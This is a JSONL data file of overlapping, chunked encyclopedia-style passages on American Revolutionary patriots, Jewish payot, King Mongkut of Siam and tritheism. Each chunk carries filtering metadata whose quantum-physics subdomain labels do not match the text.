officers, making those positions dangerous ; the practice was especially prevalent in boston, where many patriots lived, but was curbed there sooner than elsewhere. list of prominent patriots most of the individuals listed below served", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4781383827374265, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.745423"} {"text": "patriots tarred and feathered tax collectors and customs officers, making those positions dangerous ; the practice was especially prevalent in boston, where many patriots lived, but was curbed there sooner than elsewhere. list of prominent patriots most of the individuals listed below served the american revolution in multiple capacities. statesmen and office holders - thomas jefferson - john adams - john dickinson - benjamin franklin - jonathan shipley - william paca - james madison pamphleteers and activists - samuel adams - alexander hamilton - william molineux - timothy matlack - thomas paine - paul revere - patrick henry - samuel prescott - molly pitcher - roger sherman - philip mazzei military officers - nathanael greene - nathan hale - francis marion - andrew pickens - daniel morgan - james mitchell varnum - joseph bradley varnum - george washington - john paul jones - thomas sumter - francis vigo - elijah isaacs - \" patriot \" in oxford english dictionary ( 3rd ed. online 2011 ). accessed 19 december 2011. - robert m. calhoon, in ' a companion to the american revolution ', ( 2000 ) ; p 235. - thomas b. allen, tories : fighting for the king in america ' s first civil war ( 2011 ) p. xviii - leonard woods larabee, conservatism in early american history ( 1948 ) pp 164 - 65 - see also n. e. h. hull, peter c. hoffer and steven l. allen, \" choosing sides : a quantitative study of the personality determinants of loyalist and revolutionary political affiliation in new york, \" journal of american history, vol. 65, no. 2 ( sept. 1978 ), pp. 344 - 366 in jstor - the most in - depth study of the patriot psychology is edwin g. burrows and michael wallace, \" the american revolution : the ideology and psychology of national liberation, \" perspectives in american history, ( 1972 ) vol. 6 pp 167 - 306 - benjamin h. irvin, \" tar and feathers in revolutionary america, \" ( 2003 ) - ellis, joseph j.. founding brothers : the revolutionary generation ( 2002 ), pulitzer prize - kann, mark e. ; the gendering of american politics : founding mothers, founding fathers, and political patriarchy, ( 1999 ) online version - middlekauff, robert ; the glorious cause : the american revolution, 1763 - 1789 ( 2005 ) online version - miller, john c. origins of the american revolution. ( 1943 ) online version - miller, john c. triumph of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.37465305415141925, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.746336"} {"text": "orthodox jewish man with untrimmed beard and pe ' ot | halakhic texts relating to this article : | | babylonian talmud : | | makkot 20a | | mishneh torah : | | avodath kokhavim 12 : 6 | | shulchan aruch : | | yoreh deah 181 | | * not meant as a definitive ruling. some observances may be rabbinical, custom or torah - based. | payot ( also pe ' ot, peyot, payos, peyos ; hebrew : singular, \u05e4\u05d0\u05d4 ; plural, \u05e4\u05d0\u05d5\u05ea ) is the hebrew word for sidelocks or sidecurls. payot are worn by some men and boys in the orthodox jewish community based on an interpretation of the biblical injunction against shaving the \" corners \" of one ' s head. literally, pe ' ah means corner, side or edge. there are different styles of payot among haredi, yemenite, and hasidic jews. yemenite jews call their sidelocks simonim hebrew : \u05e1\u05d9\u05de\u05e0\u05d9\u05dd, literally signs, because their long curled sidelocks served as a distinguishing feature in yemenite society ( distinguishing them from their non - jewish neighbors ). rabbinical interpretation the torah says, \" you shall not round off the \u05e4\u05d0\u05ea pe ' at of your head \" ( leviticus 19 : 27 ). the word pe ' at was taken to mean the hair in front of the ears extending to beneath the cheekbone, on a level with the nose ( talmud - makkot 20a ). the mishnah interpreted the regulation as applying only to men. thus it became the custom in certain circles to allow the hair over the ears to grow, and hang down in curls or ringlets. according to maimonides, shaving the sidelocks was a heathen practice. there is considerable discussion in the halachic literature as to the precise location of the payot and of the ways in which their removal is prohibited. as kabbalistic teachings spread into slavonic lands, the custom of payot became accepted. in 1845 the practice was banned in the russian empire. in the crimea, crimean karaites did not wear payot, and the crimean tatars consequently referred to them as zulufs\u0131z cufutlar, meaning jews without payot, to distinguish them from the krymchaks, referred to as zulufl\u0131 cufutlar, meaning jews", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5107572321546321, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.749843"} {"text": ", and the crimean tatars consequently referred to them as zulufs\u0131z cufutlar, meaning jews without payot, to distinguish them from the krymchaks, referred to as zulufl\u0131 cufutlar, meaning jews with payot. many hasidic and yemenite jews let their sidelocks grow particularly long. some haredi men grow sidelocks, but keep them short or tuck them behind the ears. even among jewish groups in which the men do not wear noticeable payot, often the young boys do wear them until around the age of bar mitzvah. - belz - the belz hasidim are careful to never trim their payot ; rather, they wrap their sidelocks around their ears as many times as necessary. - breslov - rabbi nachman of breslov wore long twisted locks. this custom is followed by many breslover hasidim today. however, others wear their payot in different styles in line with the teaching of rabbi nachman that his followers should not have a uniform garb. - chabad - lubavitch - the chabad - lubavitch hasidim ' s payot are not evident but exist. so long as there is hair around the ear and behind it that can be plucked out, that is considered payot. - ger - some gerer hasidim raise their sidelocks from the temples and tuck them under their yarmulke. others, especially in israel, let them hang down. - skver - the skver hasidim twist their sidelocks into a tight coil, and leave them protruding in front of the ear. - yemenite - some traditional yemenite jews still wear distinctive long and thin twisted locks, often reaching to the upper arm. the actual area where the hair grows and where the ringlet begins is neat and tidy. most other hasidic groups wear their payot down and curled. the lithuanian jews were less influenced by kabbalistic practises, but still retain sidelocks to a degree, in a small number of variant styles : - lithuanian - the lithuanian jews often cut their sidelocks, but leave a bunch of strands uncut, and place them behind the ear ; this style is most commonly found among yeshiva students, who sometimes remove the uncut strands when they have grown sideburns. - brisk \u2013 the brisk movement brush their hair straight down, usually so that it reaches to the ear lobe ; sometimes, some", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4986171725618809, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.751289"} {"text": "| king rama iv | | reign | | 1 april 1851 \u2013 1 october 1868 | | coronation | | 2 april 1851 | | predecessor | | nangklao ( rama iii ) | | successor | | chulalongkorn ( rama v ) | | spouse | | queen somanas vadhanavadi ( 1851 ) queen debsirindra ( 1851 \u2013 1861 ) princess pannarai ( 1861 \u2013 1869 ) | father | | buddha loetla nabhalai | 18 october 1804 | thonburi palace, thonburi, siam | died | | 1 october 1868 grand palace, krung thep, siam phra bat somdet phra poramenthramaha mongkut phra chom klao chao yu hua ( thai : ), or rama iv, known in foreign countries [ which? ] as king mongkut ( 18 october 1804 \u2013 1 october 1868 ), was the fourth monarch of siam ( thailand ) under the house of chakri, ruling from 1851 \u2013 1868. he was one of the most revered monarchs of the country. outside of thailand, he is best known as the king in the 1951 play and 1956 film the king and i, based on the 1946 film anna and the king of siam \u2013 in turn based on the 1944 novel about anna leonowens ' years at his court, from 1862 to 1867. during his reign, the pressure of western expansionism was felt for the first time in siam. mongkut embraced western innovations and initiated the modernization of siam, both in technology and culture \u2014 earning him the nickname \" the father of science and technology \" in siam. mongkut was also known for his appointment of his brother, prince chutamani, as vice - king. prince chutamani was crowned in 1851 as king pinklao. mongkut himself assured the country that pinklao should be respected with equal honor to himself. mongkut ' s reign was also the time when the power of the house of bunnag reached its zenith and became the most powerful noble family of siam. early life mongkut was the second son of to prince isarasundhorn, son of buddha yodfa chulaloke ( king rama i ), the first chakri king of siam, and princess bunreod ; he was born in 1804 at the old ( thonburi ) palace. he was later joined by his brother prince chutamani, who was born in 1808", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3968665703072011, "token_count": 510, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.771034"} {"text": "i ), the first chakri king of siam, and princess bunreod ; he was born in 1804 at the old ( thonburi ) palace. he was later joined by his brother prince chutamani, who was born in 1808. in 1809, prince isarasundhorn was crowned as buddha loetla nabhalai ( king rama ii ). the prince himself was nine at the time and they all moved to the grand palace. monastic life and thammayut sect | this section does not cite any references or sources. ( april 2013 ) | in 1824, at age 20, mongkut became a buddhist monk ( ordination name vajirayan ; pali vajiranano ), according to siamese tradition that men aged 20 should become monks. the same year, his father died. by tradition, mongkut would be crowned the next king, but the nobility instead put on the throne the influential prince jessadabodindra, who was a son of a concubine rather than a queen. perceiving that the throne was irredeemable and to avoid political intrigues, mongkut chose to retain his monastic status. vajirayan became one of the members of the royal family who devoted his life to religion. he travelled around the country as a monk and saw the relaxation of the rules of pali canon among the siamese monks he met, which he considered inappropriate. in 1829, at phetchaburi, he met a monk named buddhawangso who strictly followed the canon. vajirayan admired buddhawangso for his obedience to the canon, and was inspired to pursue religious reforms. in 1833, he began a reform movement reinforcing the canon law that evolved into the dhammayuttika nikaya, or thammayut sect. in 1836, vajirayan arrived at wat bowonniwet in what is now bangkok ' s central district, but was then the city proper, and became the wat ' s first abbot ( ). during this time, he discovered western knowledge, studying latin, english, and astronomy with missionaries and sailors. vicar pallegoix of the roman catholic archdiocese of bangkok lived nearby, the two became close friends, and vajirayan invited pallegoix to preach christian sermons in the wat. vajirayan admired christian morals and achievements as presented by the vicar, but could make nothing of christian doctrine. it was then he made the comment later attributed to him as", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.3966351711337244, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.772046"} {"text": "' s death. with the support of powerful nobility and the great power, britain, mongkut ' s ascension to the throne was ensured. after his twenty - seven years of pilgrimage, king mongkut ascended the throne in 1851, aged 47. he took the name phra chom klao, although foreigners continued to call him king mongkut. the king was well - known among the foreigners particularly some british officers, as a pro - british. sir james brooke, a british delegation, even praised him ' our own king ', and showed his support of him as a new king of siam. having been celibate for 27 years he now set about building the biggest royal family of the chakri dynasty. in the \" inside \" of the palace there was a veritable city of women \u2014 reports say three thousand or more. they were mostly servants, ' amazons ' for guards, officials, maids and so on, but mongkut acquired thirty - two wives and by the time he died, aged sixty - four, he had eighty - two children. his awareness of the threat from the british and french imperial powers, led him to institute many innovative activities. he ordered the nobility to wear shirts while attending his court ; this was to show that siam was no longer barbaric from the western point of view. however, mongkut ' s own astrological calculations pointed out that his brother, prince isaret, was as well favoured as himself to be the monarch. so, mongkut then crowned his brother as king pinklao, the second king. as a prince, pinklao was known for his abilities in foreign languages and relations. mongkut also raised his supporter dis bunnak to somdet chao phraya borom maha prayurawongse ( somdet chao phraya was the highest rank of nobility on a par with royalty ) and made him his regent kingdom - wide. mongkut also appointed dis bunnak ' s brother, tat, as somdet chao phraya borom maha pichaiyat, as his regent in bangkok. as the result, the administrative power of siam rested largely in the hands of the two bunnaks, dis and tat. upon his coronation, mongkut married his first wife, queen somanat. however, queen somanat died in the same year. he then married his half - grandniece, mom chao rampoe", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3839313315366586, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.774171"} {"text": "dis and tat. upon his coronation, mongkut married his first wife, queen somanat. however, queen somanat died in the same year. he then married his half - grandniece, mom chao rampoei siriwongse, later queen debsirindra. shan campaigns the chakri dynasty | buddha yodfa chulaloke ( king rama i ) | buddha loetla nabhalai ( king rama ii ) ( king rama iii ) ( king rama iv ) ( king rama v ) ( king rama vi ) ( king rama vii ) ( king rama viii ) ( king rama ix ) in 1849, there were upheavals in the shan state of kengtung and chiang hung kingdom in response to weakened burmese influence. however, the two states then fought each other and chiang hung sought siamese support. nangklao saw this as an opportunity to gain control over shan states but he died in 1851 before this plan was realized. in 1852, chiang hung submitted the request again. mongkut sent siamese troops northwards but the armies were turned aside by the mountainous highlands. in 1855 the siamese marched again and reached kengtung \u2013 though with even greater difficulty. they laid siege on kengtung for 21 days. however, the resources of the siamese army ran out and the army had to retreat. cultural reforms introducing western geography accompanying the influx of western visitors to siam was the notion of a round earth. by many siamese, this was difficult to accept, particularly by religious standards, because buddhist scripture described earth as being flat. the traiphum, which was a geo - astrological map created before the arrival of westerners, described \" \u2026 a path between two mountain ranges through which the stars, planets, moon and sun pass. \" religious scholars usually concluded that buddhist scriptures \" \u2026 were meant to be taken literally only when it came to matters of spiritual truth ; details of natural science are revealed figuratively and allegorically. \" mongkut claimed to have abandoned the traiphum cosmology before 1836. he claimed that he already knew of the round state of earth 15 years before the arrival of american missionaries, but the debate about earth ' s shape remained an issue for siamese intellectuals throughout the 1800s. beginning in the early 1820s, two revolutions ( both initiated by mongkut during his monkhood ) were taking place. firstly, he fought for the people to embrace modern geography, among other sciences considered \" western", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4747772650493463, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.775268"} {"text": "siamese intellectuals throughout the 1800s. beginning in the early 1820s, two revolutions ( both initiated by mongkut during his monkhood ) were taking place. firstly, he fought for the people to embrace modern geography, among other sciences considered \" western. \" secondly he sought reform in buddhism and, as a result, a new sect was created in siamese theravada buddhism. both revolutions challenged the purity and validity of the buddhist order as it was practiced in siam at the time. a strong theme in mongkut ' s movement was that, \" \u2026 true buddhism was supposed to refrain from worldly matters and confine itself to spiritual and moral affairs. \" mongkut eventually came to power in 1851, as did his colleagues who had the same progressive mission. from that point on, siam was more quickly embracing modernization. social changes 1852 saw an influx of english and american missionaries into siam as mongkut hired them to teach the english language to the princess. he also hired western mercenaries to train siamese troops in western style. in bangkok, american dan beach bradley had already reformed the printing and then resumed the publishing of siam ' s first newspaper, the bangkok recorder. however, the missionaries were not as successful when it came to making religious conversions. however, mongkut did not abandon the traditional culture of siam. in 1852, he ordered the nobles of the court to wear upper garments. previously, siamese nobles were forbidden to wear any shirts to prevent them from hiding any weapons in it and met the king bare - chested. the practice was criticized by westerners and so mongkut ended it. for buddhism, mongkut pioneered the rehabilitation of various temples. he also began the magha puja ( ) festival in the full moon of the third lunar month, to celebrate buddha ' s announcement of his main principles. he instigated the recompilation of tripitaka in siam according to theravada traditions. he also formally established the thammayut sect as a rightful branch of theravada. mongkut also improved women ' s rights in siam. he released a large number of royal concubines to find their own husbands, in contrast to how his story has been dramatized. he banned forced marriages of all kinds and the selling of one ' s wife to pay off a debt. in contrast to the previous king, nangklao, mongkut didn ' t see the importance of sending envoys to the qing", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4394224003638417, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.776208"} {"text": "he banned forced marriages of all kinds and the selling of one ' s wife to pay off a debt. in contrast to the previous king, nangklao, mongkut didn ' t see the importance of sending envoys to the qing dynasty court, as the mission symbolised siam ' s subjection to the qing emperors and because the qing dynasty was then not so powerful as it had once been, as it was itself threatened by western powers. the bowring treaty in 1854, john bowring, the governor of hong kong in the name of queen victoria of the united kingdom, came to siam to negotiate a treaty. for the first time siam had to deal seriously with international laws. prayurawongse negotiated on the behalf of the siamese. the result was the bowring treaty, which was regarded as an unequal treaty imposed by the british empire on siam. the main principle of the treaty was to abolish the royal storage ( ), which since ayutthaya ' s times held the monopoly on foreign trade. the royal storage had been the source of ayutthaya ' s prosperity as it collected immense taxation on foreign traders, including the taxation according to the width of the galleon and the tithe. western products had to go through a series of tax barriers to reach siamese people. the europeans had been attempting to undo this monopoly for a long time but no serious measures had been taken. for siamese people, trading with foreigners subjected them to severe punishment. the taxation was partially reduced in the burney treaty. however, in the world of liberalism of the nineteenth century, such unequal and government - interfered trade was disappearing. the abolition of such trade barriers replaced siamese commerce with free trade. import taxation was reduced to 3 % and could only be collected once. this, of course, was a blow on the national revenue. however, this led to dramatic growth of commercial sectors as common people gained access to foreign trade. never before in siam could agricultural products be for sale and exports rather than subsistence farming ( before bowring, those who traded rice with foreigners would be executed for treason ). people rushed to acquire vast, previously empty fields to grow rice and the competition eventually resulted in the lands ending up in the hands of nobility. the bowring treaty also had a legal impact. due to the horror of the nakorn bala methods of torture in judicial proceedings, the british chose not to be tried under the siamese system, securing a grant of extraterritoriality ; british subjects in", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4717561198854129, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.777426"} {"text": "between slaves and free persons. slavery in thailand was sometimes a voluntary alternative for individuals to be rid of social and financial obligations. one could be punished for torturing slaves in siam and some slaves could buy their freedom. western scholars and observers have commented that siamese slaves were treated better than english servants. death and legacy the solar eclipse at wakor during his monkhood, mongkut studied both indigenous astrology and english texts on western astronomy and mathematics, hence developing his skills in astronomical measurement. one way that he honed his mastery of astronomy, aside from the accurate prediction of the wakor solar eclipse, was changing the official buddhist calendar, \" which was seriously miscalculated and the times for auspicious moments were incorrect. \" in 1868, he invited high - ranking european and siamese officials to accompany him to wakor village in prachuap khiri khan province, south of hua hin, where the solar eclipse that was to occur on 18 august could be best viewed as a total eclipse. sir harry ord, the british governor of straits settlements from singapore, was among those who were invited. king mongkut predicted the solar eclipse, at ( in his own words ) \" east greenwich longitude 99 degrees 42 ' and latitude north 11 degrees 39 '. \" king mongkut ' s calculations proved accurate. when he made calculations on the wakor solar eclipse that was to occur, he used the thai system of measuring time ( mong and baht ), but he implemented the western method of longitude and latitude when he determined where on earth the eclipse would best be viewed. upon returning from his journey to wakor, he condemned the court astrologers \" for their [ \u2026 ] stupid statements because of their negligence of his detailed prediction and their inattention to measurement and calculation by modern instruments. \" it has been argued that the assimilation of western geography and astronomy into 19th century siam \" proved that siam equaled the west in terms of knowledge, and therefore the imperialists ' claim that siam was uncivilized and had to be colonized was unreasonable. \" this suggests that the western form of these sciences may have saved siam from actually being colonized by western powers. education reform as the king of siam, mongkut urged his royal relatives to have \" a european - style education. \" the missionaries, as teachers, taught modern geography and astronomy, among other subjects. six years after mongkut ' s death, the first thai geography book was published in 1874, called", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49305525512123116, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.782502"} {"text": "royal relatives to have \" a european - style education. \" the missionaries, as teachers, taught modern geography and astronomy, among other subjects. six years after mongkut ' s death, the first thai geography book was published in 1874, called phumanithet by j. w. van dyke. however, geography was only taught in some schools, mainly those that were run by american missionaries with english programs for upper secondary students. thongchai winichakul argues that mongkut ' s efforts to popularize western geography helped bring reform to education in siam. elephant story contrary to popular belief, king mongkut did not offer a herd of war elephants to the us president abraham lincoln during the american civil war for use against the confederacy. he did, however, offer to send some domesticated elephants to us president james buchanan, to use as beasts of burden and means of transportation. the royal letter of 14 february 1861, which was written even before the civil war started, took some time to arrive in washington dc, and by the time it reached its destination, president buchanan was not in office any longer. ( text of the royal letter here. ) lincoln, who succeeded buchanan, is said to have been asked what the elephants could be used for, and in reply he said that he did not know, unless \" they were used to stamp out the rebellion. \" however, in his replying letter dated 3 february 1862 lincoln did not mention anything about the civil war. the president merely politely declined to accept king mongkut ' s proposal, explaining to the king that the american climate might not be suitable for elephants and that american steam engines could also be used as beasts of burden and means of transportation. a century later, during his state visit to the us, king bhumibol of thailand, who is mongkut ' s great - grandson, referred to this event in his address before the us congress on 29 june 1960. he said, \" my great - grandfather offered to send the president and congress elephants to be turned loose in the uncultivated land of america for breeding purposes. that offer was made with no other objective than to provide a friend with what he lacks, in the same spirit in which the american aid program is likewise offered. \" titles and styles - 1804 \u2013 1824 : his royal highness prince mongkutsommutiwong phong - isuankrasat khattiyaratchakuman - 1824 - 1851 : vajiranano ( as a monk )", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43966789481197877, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.783554"} {"text": "titles and styles - 1804 \u2013 1824 : his royal highness prince mongkutsommutiwong phong - isuankrasat khattiyaratchakuman - 1824 - 1851 : vajiranano ( as a monk ) - 1851 - 1868 : his majesty king mongkute | ancestors of mongkut | - ' king ' s ears won ' t hear songs from \" king and i \" ', washington post ( 28 june 1960 ), pg. c1. - marguerite higgins, ' siam king found shy and welfare - minded ', washington post ( 30 august 1951 ), pg. b11. - lawrence meyer, ' court and \" the king \" ', washington post ( 21 november 1972 ), pg. b2. - landon v. twentieth century - fox film corp., 384 f. supp. 450 ( s. d. n. y. 1974 ), in donald e. biederman, edward p. pierson, martin e. silfen, janna glasser, law and business of the entertainment industries, 5th edition ( westport, connecticut : greenwood, 2006 ), pp. 349 \u2013 356. - ' thailand bans \" anna and the king \" ', asian economic news ( 3 january 2000 ). accessed 29 august 2008. - bruce, robert ( 1969 ). \" king mongkut of siam and his treaty with britain \" ( pdf ). journal of the royal asiatic society hong kong branch. the university of hong kong libraries vol. 9. retrieved 2011 - 06 - 27. - tarling, nicholas. the cambridge history of southeast asia vol. 1 part 1, 1999. p. 44. - accordingly, the hollywood depiction of the bare - chested kralahome ( prime minister ) in anna and the king of siam ( 1946 ) and yul brynner ' s shirtless king mongkut in the king and i ( 1956 ) are not only historically inaccurate, but considered by thais to be offensive to the memory of the reformist monarch. - suarez, thomas. early mapping of southeast asia : the epic story of seafarers, adventurers, and cartographers who first mapped the regions between china and india. singapore : periplus editions ( hk ) ltd. ( 1999 ). web. pg. 25 - winichakul 1997, p. 37 - winichakul 1997, p. 38 - winichakul 1997, p. 39 - winichakul 1997", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.36096765601890657, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.784532"} {"text": "( hk ) ltd. ( 1999 ). web. pg. 25 - winichakul 1997, p. 37 - winichakul 1997, p. 38 - winichakul 1997, p. 39 - winichakul 1997, p. 40 - http : / / library. albany. edu / speccoll / findaids / apap063. htm # history abbot low moffat - http : / / www. loc. gov / rr / asian / guide / guide - southeast. html ( southeast asian collection, asian division, library of congress ) - rodriguez, junius p. ( 1997 ). the historical encyclopedia of world slavery ( 2nd print. ed. ). santa barbara, calif. : abc - clio. p. 631. isbn 9780874368857. - \" slavery in nineteenth century northern thailand : archival anecdotes and village voices \". kyoto review. 2006. - winichakul 1997, p. 42 - winichakul 1997, p. 43 - winichakul 1997, p. 46 - nasa : solar eclipses of historical interest - winichakul 1997, p. 45 - winichakul 1997, p. 47 - winichakul 1997, p. 57 - winichakul 1997, p. 48 - \" nontraditional animals for use by the american military \u2013 elephants \". newsletter. historybuff. com. june 2011. archived from the original on 2012 - 05 - 29. retrieved may 29, 2012. \" both original letters still exist today in archives. \" | wikimedia commons has media related to : king mongkut | - abbot low moffat, mongkhut, the king of siam, cornell u. p. 1961 - constance marilyn wilson, state and society in the reign of king mongkut, 1851 \u2013 1868 : thailand on the eve of modernization, ph. d. thesis, cornell 1970, university microfilms. - b. j. terwiel, a history of modern thailand 1767 \u2013 1942, university of queensland press, australia 1983. this contains some anecdotes not included in the other references. - stephen white, john thomson : a window to the orient, university of new mexico press, united states. thomson was a photographer and this book contains his pictures some of which provided the basis for the engravings ( sometimes misidentified ) in anna leonowens ' books. there is reference", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4411054634282339, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.785479"} {"text": "| | this article needs additional citations for verification. ( july 2009 ) | | | this article is in a list format that may be better presented using prose. ( december 2012 ) | tritheism is the belief that cosmic divinity is composed of three equally powerful entities. as generally conceived, three gods are envisioned as having separate domains and spheres of influence that coalesce into an omnipotent whole. in this primary respect, tritheism differs from cosmic dualism, which oftentimes posits two divine powers working in theologic or spiritual opposition. most christian denominations do not hold the universe as spiritually tritheistic, although some nontrinitarian denominations stray slightly from pure monotheism and the duality between god and satan. the term has been sporadically used to spearhead heresy accusations, especially when employed against christian sects promoting allegedly anathema conceptions of the trinity. monistic tritheism the hindu trinity of brahma the creator, vishnu the preserver and shiva the destroyer have been held to constitute a tritheistic belief system. like the christian trinity, these entities are understood to interact harmoniously. however, this hindu trinity is not conceived in a firmly doctrinal sense, but is rather posited as one of the ways in which the divine order of the universe can be understood. ultimately, the universal spirit, the param - atman, the brahman ( not to be confused with brahmin, a social class / caste ), or bhagvan is held to reign supreme as a singular entity. monotheistic tritheism muslims, jews, unitarians and other nontrinitarians claim that the orthodox trinitarian christian doctrine of the holy trinity of father, son and holy spirit constitutes tritheism, since these distinct \" persons \" are unified only by an impersonal substance ousia which does not transcend, or exist apart from, the persons. proponents of trinitarianism claim that the three persons of the trinity do not have separate powers, since they are omnipotent, and do not have separate spheres of influence, since their sphere of influence is unlimited. they argue that the persons of the trinity have one divine essence and are indivisible, whereas tritheism appears to suggest three separate gods. athanasius already attempted to distinguish trinitarianism from tritheism and modalism. historical uses of the term in christianity the following tritheistic tendencies have been condemned as heretical by mainstream theology. at", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5425161589859699, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.794599"} {"text": "to suggest three separate gods. athanasius already attempted to distinguish trinitarianism from tritheism and modalism. historical uses of the term in christianity the following tritheistic tendencies have been condemned as heretical by mainstream theology. at various times in the history of christianity, various theologians were accused by the church of tritheism, which the church treated as heresy. - those who are usually meant by the name were a section of the monophysites, who had great influence in the second half of the sixth century, but have left no traces save a few scanty notices in john of ephesus, photius, leontius etc. their founder is said to be a certain john ascunages, head of a sophist school at antioch. the principal writer was john philoponus, the great aristotelian commentator ; the leaders were two bishops, conon of tarsus and eugenius of seleucia in isauria, who were deposed by their comprovincials and took refuge at constantinople where they found a powerful convert and protector in athanasius the monk, a grandson of the empress theodora. philoponus dedicated to him a book on the trinity. the old philosopher pleaded his infirmities when he was summoned by the emperor justinian to the court to give an account of his teaching. but conon and eugenius had to dispute in the reign of justin ii ( 565 - 78 ) in the presence of the catholic patriarch john scholasticus ( 565 - 77 ), with two champions of the moderate monophysite party, stephen and paul, the latter afterward patriarch of antioch. the tritheist bishops refused to anathematize philoponus, and brought proofs that he agreed with severus and theodosius. they were banished to palestine, and philoponus wrote a book against john scholasticus, who had given his verdict in favour of his adversaries. but he developed a theory of his own as to the resurrection ( see eutychianism ) on account of which conon and eugenius wrote a treatise against him in collaboration with themistus, the founder of the agnoctae, in which they declared his views to be altogether unchristian. these two bishops and a deprived bishop named theonas proceeded to consecrate bishops for their sect, which they established in corinth and athens, rome, northern africa and the western patriarchate, while in the east agents traveled through syria and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4760098359486706, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.798244"} {"text": "these two bishops and a deprived bishop named theonas proceeded to consecrate bishops for their sect, which they established in corinth and athens, rome, northern africa and the western patriarchate, while in the east agents traveled through syria and cilicia, isauria and cappadocia, converting whole districts and ordaining priests and deacons in cities villages and monasteries. eugenius died in pamphylia ; conon returned to constantinople. leontius assures that the aristotelianism of philoponus made him teach that there are in the holy trinity three partial substances ( merikai ousiai, ikikai theotetes, idiai physeis ) and one common. the genesis of the doctrine has been explained ( for the first time ) under monophysites, where an account of philoponus ' s writings and those of stephen gobarus, another member of the sect, will be found. - john philoponus, an aristotelian and monophysite in alexandria about the middle of the sixth century, was charged with tritheism because he saw in the trinity as separated three natures, substances and deities, according to the number of divine persons. he sought to justify this view by the aristotelian categories of genus, species and individuum. - in the middle ages, roscellin of compiegne, the founder of nominalism, who argued like philoponus that unless the three persons are tres res ( 3 minds ), the whole trinity must have been incarnate, was refuted by st. anselm. - among catholic writers, pierre faydit, who was expelled from the oratory at paris in 1671 for disobedience and died in 1709, practiced a form of tritheism in his eclaireissements sur la doctrine et phistoire ecclesiastiqes des deux premiers siecles ( paris, 1696 ), in which he tried to make out that the earliest fathers were tritheists. he was replied to by the premonstratensian abbot louis - charles hugo ( apologie du systeme des saints peres sur la trinite, luxemburg, 1699 ). - a prominent ideologue of russian old believers and a writer, avvakum ( died 1682 ) was accused by official orthodox church and by fellow old believers in tritheism, based on some passages in his letters. - a catholic", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4621603264905433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.799323"} {"text": ". - a prominent ideologue of russian old believers and a writer, avvakum ( died 1682 ) was accused by official orthodox church and by fellow old believers in tritheism, based on some passages in his letters. - a catholic canon of trier named oembs, influenced by the doctrines of the \" enlightenment \", similarly attributed to the fathers his own view of three similar natures in the trinity, calling the numerical unity of god an invention of the scholastics. his book opuscula de deo uno et trino ( mainz, 1789 ), was condemned by pius vii in a brief of 14 july 1804. - the bohemian jesuit philosopher anton gunther was also accused of tritheism, leading to his work ending up on the index librorum. - among protestants, heinrich nicolai ( d. 1660 ), a professor at dantzig and at elbing ( not to be confounded with the founder of the familisten ), is cited. - the best known in the anglican church is william sherlock, dean of st. paul ' s, whose vindication of the doctrine of the holy and ever blessed 